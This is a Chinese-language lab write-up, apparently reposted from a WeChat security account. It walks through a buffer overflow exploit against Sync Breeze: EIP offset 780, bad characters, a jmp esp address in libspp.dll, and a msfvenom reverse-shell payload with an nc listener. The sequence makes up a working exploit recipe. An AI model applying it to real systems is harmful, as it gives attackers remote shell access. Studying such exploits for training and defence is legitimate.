页面前端修改
打开Web页面
F12修改前端输入限制为3000
测试溢出长度
python生成数据,复制
print('A' * 800)
将脏数据粘贴到User Name
结果程序崩溃
调试器导入进程
使用管理员打开Immunity Debuggeer调试器
导入进程
File>Attach>找到Sync Breeze并点击>Attach
再次注入
已将EIP寄存器覆盖了
定位覆盖EIP的偏移量
因为注入的是相同的数据,所以判断不到EIP的位置
注入随机脏数据找到EIP地址位置
kali生成脏数据
msf-pattern_create -l 800
再次注入脏数据
EIP 被覆盖为42306142
查询偏移量
kali计算偏移量
msf-pattern_offset -l 800 -q 42306142
偏移量 在780 处,为Ba0B
定位可以写入ESP寄存器的偏移和长度
使用python生成780个A,4个B,4个C
print('A' * 780 + 'B' * 4 + 'C' * 4)
重新注入
精准找到覆盖EIP的位置,BBBB
测试能溢出多少数据
print('A' * 780 + 'B' * 4 + 'C' * 4 + 'D' * 212 + 'E' * 200 + 'F' * 200 + 'G' * 200 + 'H' * 200 + 'I' * 200)
2000-788=1212都能溢出
已经够300-500个的payload字符
测试坏字符
一些字符如果插入进去呢会引起这个程序的崩溃,把所有16进制的字符利用脚本一个个测试,然后内存中会有一些安全机制,如果输入的字符被删掉,或者替换掉了,就说明这个是坏字符。
注入十六进制,进到ESP内存区域,观察字节顺序,发现到从x01到x09之后就断了,说明x0A是个坏字符,所以将0x0A去掉之后再执行一遍同样的流程。
排查出所有坏字符
x00x0Ax0Dx25x26x2Bx3D
寻找 jmp esp指令的内存地址
利用EIP返回,指向一个固定不变的地址,就是栈顶,找jmp esp
jmp:是“Jump”的缩写,意为“跳转”。这个指令会导致程序的执行流跳转到指定的地址。
esp:如前所述,指的是ESP寄存器的值,它当前指向堆栈的顶部。
在kali 利用msf-nasm_shell转换jmp esp成16进制操作数
msf-nasm_shell
jmp esp
jmp esp的十六进制:FFE4
查找所有模块
先列出当前加载的所有模块,找所有安全机制都没有启动的模块,就是全为False
!mona modules
libspp.dll动态链接库没有启用安全机制
模块中搜索FFE4
!mona find -s "xffxe4" -m "libspp.dll"
10090c83
CPU读取寄存器地址是倒着读的,所以写入的时候也要倒着写
x83x0cx09x10
反弹shell
生成反弹shell
kali使用msf生成反弹shell
使用-b参数过滤掉坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.20.100 LPORT=8888 -f c -b "x00x0Ax0Dx25x26x2Bx3D" EXITFUNC=thread
监听端口
nc -nlvvp 8888
编辑脚本
将msf生成的十六进制复制修改到POC,修改IP地址
注意payload缩进,和10090c83翻转为x83x0cx09x10
启动脚本,反弹shell
原文始发于微信公众号(泷羽Sec-Ceo):缓冲区溢出到getshell提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论